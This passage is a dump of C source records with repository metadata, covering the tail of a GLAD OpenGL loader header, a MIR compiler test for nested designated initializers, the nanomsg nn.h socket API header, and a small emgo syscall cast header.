GLAD_API_CALL PFNGLVERTEX3SVPROC glad_glVertex3sv;
#define glVertex3sv glad_glVertex3sv
GLAD_API_CALL PFNGLVERTEX4DPROC glad_glVertex4d;
#define glVertex4d glad_glVertex4d
GLAD_API_CALL PFNGLVERTEX4DVPROC glad_glVertex4dv;
#define glVertex4dv glad_glVertex4dv
GLAD_API_CALL PFNGLVERTEX4FPROC glad_glVertex4f;
#define glVertex4f glad_glVertex4f
GLAD_API_CALL PFNGLVERTEX4FVPROC glad_glVertex4fv;
#define glVertex4fv glad_glVertex4fv
GLAD_API_CALL PFNGLVERTEX4IPROC glad_glVertex4i;
#define glVertex4i glad_glVertex4i
GLAD_API_CALL PFNGLVERTEX4IVPROC glad_glVertex4iv;
#define glVertex4iv glad_glVertex4iv
GLAD_API_CALL PFNGLVERTEX4SPROC glad_glVertex4s;
#define glVertex4s glad_glVertex4s
GLAD_API_CALL PFNGLVERTEX4SVPROC glad_glVertex4sv;
#define glVertex4sv glad_glVertex4sv
GLAD_API_CALL PFNGLVERTEXATTRIB1DPROC glad_glVertexAttrib1d;
#define glVertexAttrib1d glad_glVertexAttrib1d
GLAD_API_CALL PFNGLVERTEXATTRIB1DVPROC glad_glVertexAttrib1dv;
#define glVertexAttrib1dv glad_glVertexAttrib1dv
GLAD_API_CALL PFNGLVERTEXATTRIB1FPROC glad_glVertexAttrib1f;
#define glVertexAttrib1f glad_glVertexAttrib1f
GLAD_API_CALL PFNGLVERTEXATTRIB1FVPROC glad_glVertexAttrib1fv;
#define glVertexAttrib1fv glad_glVertexAttrib1fv
GLAD_API_CALL PFNGLVERTEXATTRIB1SPROC glad_glVertexAttrib1s;
#define glVertexAttrib1s glad_glVertexAttrib1s
GLAD_API_CALL PFNGLVERTEXATTRIB1SVPROC glad_glVertexAttrib1sv;
#define glVertexAttrib1sv glad_glVertexAttrib1sv
GLAD_API_CALL PFNGLVERTEXATTRIB2DPROC glad_glVertexAttrib2d;
#define glVertexAttrib2d glad_glVertexAttrib2d
GLAD_API_CALL PFNGLVERTEXATTRIB2DVPROC glad_glVertexAttrib2dv;
#define glVertexAttrib2dv glad_glVertexAttrib2dv
GLAD_API_CALL PFNGLVERTEXATTRIB2FPROC glad_glVertexAttrib2f;
#define glVertexAttrib2f glad_glVertexAttrib2f
GLAD_API_CALL PFNGLVERTEXATTRIB2FVPROC glad_glVertexAttrib2fv;
#define glVertexAttrib2fv glad_glVertexAttrib2fv
GLAD_API_CALL PFNGLVERTEXATTRIB2SPROC glad_glVertexAttrib2s;
#define glVertexAttrib2s glad_glVertexAttrib2s
GLAD_API_CALL PFNGLVERTEXATTRIB2SVPROC glad_glVertexAttrib2sv;
#define glVertexAttrib2sv glad_glVertexAttrib2sv
GLAD_API_CALL PFNGLVERTEXATTRIB3DPROC glad_glVertexAttrib3d;
#define glVertexAttrib3d glad_glVertexAttrib3d
GLAD_API_CALL PFNGLVERTEXATTRIB3DVPROC glad_glVertexAttrib3dv;
#define glVertexAttrib3dv glad_glVertexAttrib3dv
GLAD_API_CALL PFNGLVERTEXATTRIB3FPROC glad_glVertexAttrib3f;
#define glVertexAttrib3f glad_glVertexAttrib3f
GLAD_API_CALL PFNGLVERTEXATTRIB3FVPROC glad_glVertexAttrib3fv;
#define glVertexAttrib3fv glad_glVertexAttrib3fv
GLAD_API_CALL PFNGLVERTEXATTRIB3SPROC glad_glVertexAttrib3s;
#define glVertexAttrib3s glad_glVertexAttrib3s
GLAD_API_CALL PFNGLVERTEXATTRIB3SVPROC glad_glVertexAttrib3sv;
#define glVertexAttrib3sv glad_glVertexAttrib3sv
GLAD_API_CALL PFNGLVERTEXATTRIB4NBVPROC glad_glVertexAttrib4Nbv;
#define glVertexAttrib4Nbv glad_glVertexAttrib4Nbv
GLAD_API_CALL PFNGLVERTEXATTRIB4NIVPROC glad_glVertexAttrib4Niv;
#define glVertexAttrib4Niv glad_glVertexAttrib4Niv
GLAD_API_CALL PFNGLVERTEXATTRIB4NSVPROC glad_glVertexAttrib4Nsv;
#define glVertexAttrib4Nsv glad_glVertexAttrib4Nsv
GLAD_API_CALL PFNGLVERTEXATTRIB4NUBPROC glad_glVertexAttrib4Nub;
#define glVertexAttrib4Nub glad_glVertexAttrib4Nub
GLAD_API_CALL PFNGLVERTEXATTRIB4NUBVPROC glad_glVertexAttrib4Nubv;
#define glVertexAttrib4Nubv glad_glVertexAttrib4Nubv
GLAD_API_CALL PFNGLVERTEXATTRIB4NUIVPROC glad_glVertexAttrib4Nuiv;
#define glVertexAttrib4Nuiv glad_glVertexAttrib4Nuiv
GLAD_API_CALL PFNGLVERTEXATTRIB4NUSVPROC glad_glVertexAttrib4Nusv;
#define glVertexAttrib4Nusv glad_glVertexAttrib4Nusv
GLAD_API_CALL PFNGLVERTEXATTRIB4BVPROC glad_glVertexAttrib4bv;
#define glVertexAttrib4bv glad_glVertexAttrib4bv
GLAD_API_CALL PFNGLVERTEXATTRIB4DPROC glad_glVertexAttrib4d;
#define glVertexAttrib4d glad_glVertexAttrib4d
GLAD_API_CALL PFNGLVERTEXATTRIB4DVPROC glad_glVertexAttrib4dv;
#define glVertexAttrib4dv glad_glVertexAttrib4dv
GLAD_API_CALL PFNGLVERTEXATTRIB4FPROC glad_glVertexAttrib4f;
#define glVertexAttrib4f glad_glVertexAttrib4f
GLAD_API_CALL PFNGLVERTEXATTRIB4FVPROC glad_glVertexAttrib4fv;
#define glVertexAttrib4fv glad_glVertexAttrib4fv
GLAD_API_CALL PFNGLVERTEXATTRIB4IVPROC glad_glVertexAttrib4iv;
#define glVertexAttrib4iv glad_glVertexAttrib4iv
GLAD_API_CALL PFNGLVERTEXATTRIB4SPROC glad_glVertexAttrib4s;
#define glVertexAttrib4s glad_glVertexAttrib4s
GLAD_API_CALL PFNGLVERTEXATTRIB4SVPROC glad_glVertexAttrib4sv;
#define glVertexAttrib4sv glad_glVertexAttrib4sv
GLAD_API_CALL PFNGLVERTEXATTRIB4UBVPROC glad_glVertexAttrib4ubv;
#define glVertexAttrib4ubv glad_glVertexAttrib4ubv
GLAD_API_CALL PFNGLVERTEXATTRIB4UIVPROC glad_glVertexAttrib4uiv;
#define glVertexAttrib4uiv glad_glVertexAttrib4uiv
GLAD_API_CALL PFNGLVERTEXATTRIB4USVPROC glad_glVertexAttrib4usv;
#define glVertexAttrib4usv glad_glVertexAttrib4usv
GLAD_API_CALL PFNGLVERTEXATTRIBDIVISORPROC glad_glVertexAttribDivisor;
#define glVertexAttribDivisor glad_glVertexAttribDivisor
GLAD_API_CALL PFNGLVERTEXATTRIBI1IPROC glad_glVertexAttribI1i;
#define glVertexAttribI1i glad_glVertexAttribI1i
GLAD_API_CALL PFNGLVERTEXATTRIBI1IVPROC glad_glVertexAttribI1iv;
#define glVertexAttribI1iv glad_glVertexAttribI1iv
GLAD_API_CALL PFNGLVERTEXATTRIBI1UIPROC glad_glVertexAttribI1ui;
#define glVertexAttribI1ui glad_glVertexAttribI1ui
GLAD_API_CALL PFNGLVERTEXATTRIBI1UIVPROC glad_glVertexAttribI1uiv;
#define glVertexAttribI1uiv glad_glVertexAttribI1uiv
GLAD_API_CALL PFNGLVERTEXATTRIBI2IPROC glad_glVertexAttribI2i;
#define glVertexAttribI2i glad_glVertexAttribI2i
GLAD_API_CALL PFNGLVERTEXATTRIBI2IVPROC glad_glVertexAttribI2iv;
#define glVertexAttribI2iv glad_glVertexAttribI2iv
GLAD_API_CALL PFNGLVERTEXATTRIBI2UIPROC glad_glVertexAttribI2ui;
#define glVertexAttribI2ui glad_glVertexAttribI2ui
GLAD_API_CALL PFNGLVERTEXATTRIBI2UIVPROC glad_glVertexAttribI2uiv;
#define glVertexAttribI2uiv glad_glVertexAttribI2uiv
GLAD_API_CALL PFNGLVERTEXATTRIBI3IPROC glad_glVertexAttribI3i;
#define glVertexAttribI3i glad_glVertexAttribI3i
GLAD_API_CALL PFNGLVERTEXATTRIBI3IVPROC glad_glVertexAttribI3iv;
#define glVertexAttribI3iv glad_glVertexAttribI3iv
GLAD_API_CALL PFNGLVERTEXATTRIBI3UIPROC glad_glVertexAttribI3ui;
#define glVertexAttribI3ui glad_glVertexAttribI3ui
GLAD_API_CALL PFNGLVERTEXATTRIBI3UIVPROC glad_glVertexAttribI3uiv;
#define glVertexAttribI3uiv glad_glVertexAttribI3uiv
GLAD_API_CALL PFNGLVERTEXATTRIBI4BVPROC glad_glVertexAttribI4bv;
#define glVertexAttribI4bv glad_glVertexAttribI4bv
GLAD_API_CALL PFNGLVERTEXATTRIBI4IPROC glad_glVertexAttribI4i;
#define glVertexAttribI4i glad_glVertexAttribI4i
GLAD_API_CALL PFNGLVERTEXATTRIBI4IVPROC glad_glVertexAttribI4iv;
#define glVertexAttribI4iv glad_glVertexAttribI4iv
GLAD_API_CALL PFNGLVERTEXATTRIBI4SVPROC glad_glVertexAttribI4sv;
#define glVertexAttribI4sv glad_glVertexAttribI4sv
GLAD_API_CALL PFNGLVERTEXATTRIBI4UBVPROC glad_glVertexAttribI4ubv;
#define glVertexAttribI4ubv glad_glVertexAttribI4ubv
GLAD_API_CALL PFNGLVERTEXATTRIBI4UIPROC glad_glVertexAttribI4ui;
#define glVertexAttribI4ui glad_glVertexAttribI4ui
GLAD_API_CALL PFNGLVERTEXATTRIBI4UIVPROC glad_glVertexAttribI4uiv;
#define glVertexAttribI4uiv glad_glVertexAttribI4uiv
GLAD_API_CALL PFNGLVERTEXATTRIBI4USVPROC glad_glVertexAttribI4usv;
#define glVertexAttribI4usv glad_glVertexAttribI4usv
GLAD_API_CALL PFNGLVERTEXATTRIBIPOINTERPROC glad_glVertexAttribIPointer;
#define glVertexAttribIPointer glad_glVertexAttribIPointer
GLAD_API_CALL PFNGLVERTEXATTRIBP1UIPROC glad_glVertexAttribP1ui;
#define glVertexAttribP1ui glad_glVertexAttribP1ui
GLAD_API_CALL PFNGLVERTEXATTRIBP1UIVPROC glad_glVertexAttribP1uiv;
#define glVertexAttribP1uiv glad_glVertexAttribP1uiv
GLAD_API_CALL PFNGLVERTEXATTRIBP2UIPROC glad_glVertexAttribP2ui;
#define glVertexAttribP2ui glad_glVertexAttribP2ui
GLAD_API_CALL PFNGLVERTEXATTRIBP2UIVPROC glad_glVertexAttribP2uiv;
#define glVertexAttribP2uiv glad_glVertexAttribP2uiv
GLAD_API_CALL PFNGLVERTEXATTRIBP3UIPROC glad_glVertexAttribP3ui;
#define glVertexAttribP3ui glad_glVertexAttribP3ui
GLAD_API_CALL PFNGLVERTEXATTRIBP3UIVPROC glad_glVertexAttribP3uiv;
#define glVertexAttribP3uiv glad_glVertexAttribP3uiv
GLAD_API_CALL PFNGLVERTEXATTRIBP4UIPROC glad_glVertexAttribP4ui;
#define glVertexAttribP4ui glad_glVertexAttribP4ui
GLAD_API_CALL PFNGLVERTEXATTRIBP4UIVPROC glad_glVertexAttribP4uiv;
#define glVertexAttribP4uiv glad_glVertexAttribP4uiv
GLAD_API_CALL PFNGLVERTEXATTRIBPOINTERPROC glad_glVertexAttribPointer;
#define glVertexAttribPointer glad_glVertexAttribPointer
GLAD_API_CALL PFNGLVERTEXP2UIPROC glad_glVertexP2ui;
#define glVertexP2ui glad_glVertexP2ui
GLAD_API_CALL PFNGLVERTEXP2UIVPROC glad_glVertexP2uiv;
#define glVertexP2uiv glad_glVertexP2uiv
GLAD_API_CALL PFNGLVERTEXP3UIPROC glad_glVertexP3ui;
#define glVertexP3ui glad_glVertexP3ui
GLAD_API_CALL PFNGLVERTEXP3UIVPROC glad_glVertexP3uiv;
#define glVertexP3uiv glad_glVertexP3uiv
GLAD_API_CALL PFNGLVERTEXP4UIPROC glad_glVertexP4ui;
#define glVertexP4ui glad_glVertexP4ui
GLAD_API_CALL PFNGLVERTEXP4UIVPROC glad_glVertexP4uiv;
#define glVertexP4uiv glad_glVertexP4uiv
GLAD_API_CALL PFNGLVERTEXPOINTERPROC glad_glVertexPointer;
#define glVertexPointer glad_glVertexPointer
GLAD_API_CALL PFNGLVIEWPORTPROC glad_glViewport;
#define glViewport glad_glViewport
GLAD_API_CALL PFNGLWAITSYNCPROC glad_glWaitSync;
#define glWaitSync glad_glWaitSync
GLAD_API_CALL PFNGLWINDOWPOS2DPROC glad_glWindowPos2d;
#define glWindowPos2d glad_glWindowPos2d
GLAD_API_CALL PFNGLWINDOWPOS2DVPROC glad_glWindowPos2dv;
#define glWindowPos2dv glad_glWindowPos2dv
GLAD_API_CALL PFNGLWINDOWPOS2FPROC glad_glWindowPos2f;
#define glWindowPos2f glad_glWindowPos2f
GLAD_API_CALL PFNGLWINDOWPOS2FVPROC glad_glWindowPos2fv;
#define glWindowPos2fv glad_glWindowPos2fv
GLAD_API_CALL PFNGLWINDOWPOS2IPROC glad_glWindowPos2i;
#define glWindowPos2i glad_glWindowPos2i
GLAD_API_CALL PFNGLWINDOWPOS2IVPROC glad_glWindowPos2iv;
#define glWindowPos2iv glad_glWindowPos2iv
GLAD_API_CALL PFNGLWINDOWPOS2SPROC glad_glWindowPos2s;
#define glWindowPos2s glad_glWindowPos2s
GLAD_API_CALL PFNGLWINDOWPOS2SVPROC glad_glWindowPos2sv;
#define glWindowPos2sv glad_glWindowPos2sv
GLAD_API_CALL PFNGLWINDOWPOS3DPROC glad_glWindowPos3d;
#define glWindowPos3d glad_glWindowPos3d
GLAD_API_CALL PFNGLWINDOWPOS3DVPROC glad_glWindowPos3dv;
#define glWindowPos3dv glad_glWindowPos3dv
GLAD_API_CALL PFNGLWINDOWPOS3FPROC glad_glWindowPos3f;
#define glWindowPos3f glad_glWindowPos3f
GLAD_API_CALL PFNGLWINDOWPOS3FVPROC glad_glWindowPos3fv;
#define glWindowPos3fv glad_glWindowPos3fv
GLAD_API_CALL PFNGLWINDOWPOS3IPROC glad_glWindowPos3i;
#define glWindowPos3i glad_glWindowPos3i
GLAD_API_CALL PFNGLWINDOWPOS3IVPROC glad_glWindowPos3iv;
#define glWindowPos3iv glad_glWindowPos3iv
GLAD_API_CALL PFNGLWINDOWPOS3SPROC glad_glWindowPos3s;
#define glWindowPos3s glad_glWindowPos3s
GLAD_API_CALL PFNGLWINDOWPOS3SVPROC glad_glWindowPos3sv;
#define glWindowPos3sv glad_glWindowPos3sv
GLAD_API_CALL int gladLoadGLUserPtr( GLADuserptrloadfunc load, void *userptr);
GLAD_API_CALL int gladLoadGL( GLADloadfunc load);
#ifdef GLAD_GL
GLAD_API_CALL int gladLoaderLoadGL(void);
GLAD_API_CALL void gladLoaderUnloadGL(void);
#endif
#ifdef __cplusplus
}
#endif
#endif
|
9298c6c50963c05570b9c9edfabc08dddde8c773
|
3a30cfb29aac91e5c75d4dbcefddfd1f34d5f18c
|
/c-tests/new/issue191-3.c
|
8201a8a57ee1c3244c6efa2c9cca53b5c0222b58
|
[
"MIT",
"MPL-1.0",
"LicenseRef-scancode-warranty-disclaimer",
"Apache-2.0",
"LGPL-2.0-only"
] |
permissive
|
vnmakarov/mir
|
a1725bc9c828e8580df6b7ae94e04175db8abe93
|
928e28fb3acaa50d051a906e76a55cc48a556574
|
refs/heads/master
| 2023-09-02T11:10:37.434581
| 2023-08-25T19:25:40
| 2023-08-25T19:25:40
| 178,932,492
| 2,005
| 156
|
MIT
| 2023-08-01T20:29:59
| 2019-04-01T19:24:56
|
C
|
UTF-8
|
C
| false
| false
| 448
|
c
|
issue191-3.c
|
void abort (void);
typedef struct C {
int x;
} C;
typedef struct B {
C c;
C cs[4];
} B;
typedef struct A {
B b;
B bs[4];
} A;
int main () {
A a1 = (A){.b.c.x = 1};
A a2 = (A){.bs[0].c.x = 1};
A a3 = (A){.bs[0].cs[0].x = 1};
A a4 = (A){.bs = {[0].cs[0].x = 1, [1].cs[0].x = 2}};
if (a1.b.c.x != 1 || a2.bs[0].c.x != 1 || a3.bs[0].cs[0].x != 1 || a4.bs[0].cs[0].x != 1
|| a4.bs[1].cs[0].x != 2)
abort ();
return 0;
}
|
9cd8c65b015578e0bd2b4428a428ae818b21bb9f
|
83b49ac2dfc98b0e8e0e7c615c1d5d254406aeee
|
/src/nn.h
|
b08096e19a69404e2b8b1d58d21296c7fc2191c3
|
[
"MIT"
] |
permissive
|
nanomsg/nanomsg
|
01668a7994e259213066881ad2edb2bf462c877d
|
a54ccc7c98d0d36c773df7b666d93852d7e9a297
|
refs/heads/master
| 2023-09-06T02:31:42.418087
| 2023-08-13T18:35:57
| 2023-08-13T18:35:57
| 6,154,315
| 4,848
| 1,038
|
NOASSERTION
| 2023-08-13T18:35:58
| 2012-10-10T08:32:14
|
C
|
UTF-8
|
C
| false
| false
| 13,324
|
h
|
nn.h
|
/*
Copyright (c) 2012-2014 Martin Sustrik All rights reserved.
Copyright (c) 2013 GoPivotal, Inc. All rights reserved.
Copyright (c) 2015-2016 Jack R. Dunaway. All rights reserved.
Copyright 2022 Staysail Systems, Inc. <info@staysail.tech>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom
the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN THE SOFTWARE.
*/
#ifndef NN_H_INCLUDED
#define NN_H_INCLUDED
#ifdef __cplusplus
extern "C" {
#endif
#include <errno.h>
#include <stddef.h>
#include <stdint.h>
/* Handle DSO symbol visibility. */
#if !defined(NN_EXPORT)
# if defined(_WIN32) && !defined(NN_STATIC_LIB)
# if defined NN_SHARED_LIB
# define NN_EXPORT __declspec(dllexport)
# else
# define NN_EXPORT __declspec(dllimport)
# endif
# else
# define NN_EXPORT extern
# endif
#endif
/******************************************************************************/
/* ABI versioning support. */
/******************************************************************************/
/* Don't change this unless you know exactly what you're doing and have */
/* read and understand the following documents: */
/* www.gnu.org/software/libtool/manual/html_node/Libtool-versioning.html */
/* www.gnu.org/software/libtool/manual/html_node/Updating-version-info.html */
/* The current interface version. */
#define NN_VERSION_CURRENT 6
/* The latest revision of the current interface. */
#define NN_VERSION_REVISION 0
/* How many past interface versions are still supported. */
#define NN_VERSION_AGE 1
/******************************************************************************/
/* Errors. */
/******************************************************************************/
/* A number random enough not to collide with different errno ranges on */
/* different OSes. The assumption is that error_t is at least 32-bit type. */
#define NN_HAUSNUMERO 156384712
/* On some platforms some standard POSIX errnos are not defined. */
#ifndef ENOTSUP
#define ENOTSUP (NN_HAUSNUMERO + 1)
#endif
#ifndef EPROTONOSUPPORT
#define EPROTONOSUPPORT (NN_HAUSNUMERO + 2)
#endif
#ifndef ENOBUFS
#define ENOBUFS (NN_HAUSNUMERO + 3)
#endif
#ifndef ENETDOWN
#define ENETDOWN (NN_HAUSNUMERO + 4)
#endif
#ifndef EADDRINUSE
#define EADDRINUSE (NN_HAUSNUMERO + 5)
#endif
#ifndef EADDRNOTAVAIL
#define EADDRNOTAVAIL (NN_HAUSNUMERO + 6)
#endif
#ifndef ECONNREFUSED
#define ECONNREFUSED (NN_HAUSNUMERO + 7)
#endif
#ifndef EINPROGRESS
#define EINPROGRESS (NN_HAUSNUMERO + 8)
#endif
#ifndef ENOTSOCK
#define ENOTSOCK (NN_HAUSNUMERO + 9)
#endif
#ifndef EAFNOSUPPORT
#define EAFNOSUPPORT (NN_HAUSNUMERO + 10)
#endif
#ifndef EPROTO
#define EPROTO (NN_HAUSNUMERO + 11)
#endif
#ifndef EAGAIN
#define EAGAIN (NN_HAUSNUMERO + 12)
#endif
#ifndef EBADF
#define EBADF (NN_HAUSNUMERO + 13)
#endif
#ifndef EINVAL
#define EINVAL (NN_HAUSNUMERO + 14)
#endif
#ifndef EMFILE
#define EMFILE (NN_HAUSNUMERO + 15)
#endif
#ifndef EFAULT
#define EFAULT (NN_HAUSNUMERO + 16)
#endif
#ifndef EACCES
#define EACCES (NN_HAUSNUMERO + 17)
#endif
#ifndef EACCESS
#define EACCESS (EACCES)
#endif
#ifndef ENETRESET
#define ENETRESET (NN_HAUSNUMERO + 18)
#endif
#ifndef ENETUNREACH
#define ENETUNREACH (NN_HAUSNUMERO + 19)
#endif
#ifndef EHOSTUNREACH
#define EHOSTUNREACH (NN_HAUSNUMERO + 20)
#endif
#ifndef ENOTCONN
#define ENOTCONN (NN_HAUSNUMERO + 21)
#endif
#ifndef EMSGSIZE
#define EMSGSIZE (NN_HAUSNUMERO + 22)
#endif
#ifndef ETIMEDOUT
#define ETIMEDOUT (NN_HAUSNUMERO + 23)
#endif
#ifndef ECONNABORTED
#define ECONNABORTED (NN_HAUSNUMERO + 24)
#endif
#ifndef ECONNRESET
#define ECONNRESET (NN_HAUSNUMERO + 25)
#endif
#ifndef ENOPROTOOPT
#define ENOPROTOOPT (NN_HAUSNUMERO + 26)
#endif
#ifndef EISCONN
#define EISCONN (NN_HAUSNUMERO + 27)
#define NN_EISCONN_DEFINED
#endif
#ifndef ESOCKTNOSUPPORT
#define ESOCKTNOSUPPORT (NN_HAUSNUMERO + 28)
#endif
/* Native nanomsg error codes. */
#ifndef ETERM
#define ETERM (NN_HAUSNUMERO + 53)
#endif
#ifndef EFSM
#define EFSM (NN_HAUSNUMERO + 54)
#endif
/* This function retrieves the errno as it is known to the library. */
/* The goal of this function is to make the code 100% portable, including */
/* where the library is compiled with certain CRT library (on Windows) and */
/* linked to an application that uses different CRT library. */
NN_EXPORT int nn_errno (void);
/* Resolves system errors and native errors to human-readable string. */
NN_EXPORT const char *nn_strerror (int errnum);
/* Returns the symbol name (e.g. "NN_REQ") and value at a specified index. */
/* If the index is out-of-range, returns NULL and sets errno to EINVAL */
/* General usage is to start at i=0 and iterate until NULL is returned. */
NN_EXPORT const char *nn_symbol (int i, int *value);
/* Constants that are returned in `ns` member of nn_symbol_properties */
#define NN_NS_NAMESPACE 0
#define NN_NS_VERSION 1
#define NN_NS_DOMAIN 2
#define NN_NS_TRANSPORT 3
#define NN_NS_PROTOCOL 4
#define NN_NS_OPTION_LEVEL 5
#define NN_NS_SOCKET_OPTION 6
#define NN_NS_TRANSPORT_OPTION 7
#define NN_NS_OPTION_TYPE 8
#define NN_NS_OPTION_UNIT 9
#define NN_NS_FLAG 10
#define NN_NS_ERROR 11
#define NN_NS_LIMIT 12
#define NN_NS_EVENT 13
#define NN_NS_STATISTIC 14
/* Constants that are returned in `type` member of nn_symbol_properties */
#define NN_TYPE_NONE 0
#define NN_TYPE_INT 1
#define NN_TYPE_STR 2
/* Constants that are returned in the `unit` member of nn_symbol_properties */
#define NN_UNIT_NONE 0
#define NN_UNIT_BYTES 1
#define NN_UNIT_MILLISECONDS 2
#define NN_UNIT_PRIORITY 3
#define NN_UNIT_BOOLEAN 4
#define NN_UNIT_MESSAGES 5
#define NN_UNIT_COUNTER 6
/* Structure that is returned from nn_symbol */
struct nn_symbol_properties {
/* The constant value */
int value;
/* The constant name */
const char* name;
/* The constant namespace, or zero for namespaces themselves */
int ns;
/* The option type for socket option constants */
int type;
/* The unit for the option value for socket option constants */
int unit;
};
/* Fills in nn_symbol_properties structure and returns it's length */
/* If the index is out-of-range, returns 0 */
/* General usage is to start at i=0 and iterate until zero is returned. */
NN_EXPORT int nn_symbol_info (int i,
struct nn_symbol_properties *buf, int buflen);
/******************************************************************************/
/* Helper function for shutting down multi-threaded applications. */
/******************************************************************************/
NN_EXPORT void nn_term (void);
/******************************************************************************/
/* Zero-copy support. */
/******************************************************************************/
#define NN_MSG ((size_t) -1)
NN_EXPORT void *nn_allocmsg (size_t size, int type);
NN_EXPORT void *nn_reallocmsg (void *msg, size_t size);
NN_EXPORT int nn_freemsg (void *msg);
/******************************************************************************/
/* Socket definition. */
/******************************************************************************/
struct nn_iovec {
void *iov_base;
size_t iov_len;
};
struct nn_msghdr {
struct nn_iovec *msg_iov;
int msg_iovlen;
void *msg_control;
size_t msg_controllen;
};
struct nn_cmsghdr {
size_t cmsg_len;
int cmsg_level;
int cmsg_type;
};
/* Internal stuff. Not to be used directly. */
NN_EXPORT struct nn_cmsghdr *nn_cmsg_nxthdr_ (
const struct nn_msghdr *mhdr,
const struct nn_cmsghdr *cmsg);
#define NN_CMSG_ALIGN_(len) \
(((len) + sizeof (size_t) - 1) & (size_t) ~(sizeof (size_t) - 1))
/* POSIX-defined msghdr manipulation. */
#define NN_CMSG_FIRSTHDR(mhdr) \
nn_cmsg_nxthdr_ ((struct nn_msghdr*) (mhdr), NULL)
#define NN_CMSG_NXTHDR(mhdr, cmsg) \
nn_cmsg_nxthdr_ ((struct nn_msghdr*) (mhdr), (struct nn_cmsghdr*) (cmsg))
#define NN_CMSG_DATA(cmsg) \
((unsigned char*) (((struct nn_cmsghdr*) (cmsg)) + 1))
/* Extensions to POSIX defined by RFC 3542. */
#define NN_CMSG_SPACE(len) \
(NN_CMSG_ALIGN_ (len) + NN_CMSG_ALIGN_ (sizeof (struct nn_cmsghdr)))
#define NN_CMSG_LEN(len) \
(NN_CMSG_ALIGN_ (sizeof (struct nn_cmsghdr)) + (len))
/* SP address families. */
#define AF_SP 1
#define AF_SP_RAW 2
/* Max size of an SP address. */
#define NN_SOCKADDR_MAX 128
/* Socket option levels: Negative numbers are reserved for transports,
positive for socket types. */
#define NN_SOL_SOCKET 0
/* Generic socket options (NN_SOL_SOCKET level). */
#define NN_LINGER 1
#define NN_SNDBUF 2
#define NN_RCVBUF 3
#define NN_SNDTIMEO 4
#define NN_RCVTIMEO 5
#define NN_RECONNECT_IVL 6
#define NN_RECONNECT_IVL_MAX 7
#define NN_SNDPRIO 8
#define NN_RCVPRIO 9
#define NN_SNDFD 10
#define NN_RCVFD 11
#define NN_DOMAIN 12
#define NN_PROTOCOL 13
#define NN_IPV4ONLY 14
#define NN_SOCKET_NAME 15
#define NN_RCVMAXSIZE 16
#define NN_MAXTTL 17
/* Send/recv options. */
#define NN_DONTWAIT 1
/* Ancillary data. */
#define PROTO_SP 1
#define SP_HDR 1
NN_EXPORT int nn_socket (int domain, int protocol);
NN_EXPORT int nn_close (int s);
NN_EXPORT int nn_setsockopt (int s, int level, int option, const void *optval,
size_t optvallen);
NN_EXPORT int nn_getsockopt (int s, int level, int option, void *optval,
size_t *optvallen);
NN_EXPORT int nn_bind (int s, const char *addr);
NN_EXPORT int nn_connect (int s, const char *addr);
NN_EXPORT int nn_shutdown (int s, int how);
NN_EXPORT int nn_send (int s, const void *buf, size_t len, int flags);
NN_EXPORT int nn_recv (int s, void *buf, size_t len, int flags);
NN_EXPORT int nn_sendmsg (int s, const struct nn_msghdr *msghdr, int flags);
NN_EXPORT int nn_recvmsg (int s, struct nn_msghdr *msghdr, int flags);
/******************************************************************************/
/* Socket mutliplexing support. */
/******************************************************************************/
#define NN_POLLIN 1
#define NN_POLLOUT 2
struct nn_pollfd {
int fd;
short events;
short revents;
};
NN_EXPORT int nn_poll (struct nn_pollfd *fds, int nfds, int timeout);
/******************************************************************************/
/* Built-in support for devices. */
/******************************************************************************/
NN_EXPORT int nn_device (int s1, int s2);
/******************************************************************************/
/* Statistics. */
/******************************************************************************/
/* Transport statistics */
#define NN_STAT_ESTABLISHED_CONNECTIONS 101
#define NN_STAT_ACCEPTED_CONNECTIONS 102
#define NN_STAT_DROPPED_CONNECTIONS 103
#define NN_STAT_BROKEN_CONNECTIONS 104
#define NN_STAT_CONNECT_ERRORS 105
#define NN_STAT_BIND_ERRORS 106
#define NN_STAT_ACCEPT_ERRORS 107
#define NN_STAT_CURRENT_CONNECTIONS 201
#define NN_STAT_INPROGRESS_CONNECTIONS 202
#define NN_STAT_CURRENT_EP_ERRORS 203
/* The socket-internal statistics */
#define NN_STAT_MESSAGES_SENT 301
#define NN_STAT_MESSAGES_RECEIVED 302
#define NN_STAT_BYTES_SENT 303
#define NN_STAT_BYTES_RECEIVED 304
/* Protocol statistics */
#define NN_STAT_CURRENT_SND_PRIORITY 401
NN_EXPORT uint64_t nn_get_statistic (int s, int stat);
#ifdef __cplusplus
}
#endif
#endif
|
8c2a49379fa4ff2151281cf73b6e36207d4aa58c
|
8245d66d58b157b93df91299cef1ec38089727b7
|
/egroot/src/syscall/cast+.h
|
750430a54543e7d3c32ea9fe94ad8e1810294b62
|
[
"BSD-3-Clause"
] |
permissive
|
ziutek/emgo
|
6e1637b15cb8a83ad0bc757f10f29acb64832c02
|
168ccc21e67ca914d0be6ef61362f8a392a2df28
|
refs/heads/master
| 2023-08-31T13:30:06.848817
| 2021-12-05T15:54:15
| 2021-12-05T20:58:14
| 21,649,110
| 1,063
| 82
|
BSD-3-Clause
| 2019-06-22T23:04:13
| 2014-07-09T10:55:20
|
C
|
UTF-8
|
C
| false
| false
| 309
|
h
|
cast+.h
|
inline __attribute__((always_inline))
uintptr
syscall$ftou(void (*f) ()) {
return (uintptr)(f);
}
inline __attribute__((always_inline))
uintptr
syscall$f64tou(void (*f) (int64)) {
return (uintptr)(f);
}
inline __attribute__((always_inline))
uintptr
syscall$fr64tou(int64(*f) ()) {
return (uintptr)(f);
}
|
e074b97aea6015e5e8000d4fddaebe8b04994471
|
5e6232571bd9fb03ccdaa692c67303d49ac95e04
|
/CaamDau/ViewModel.h
|
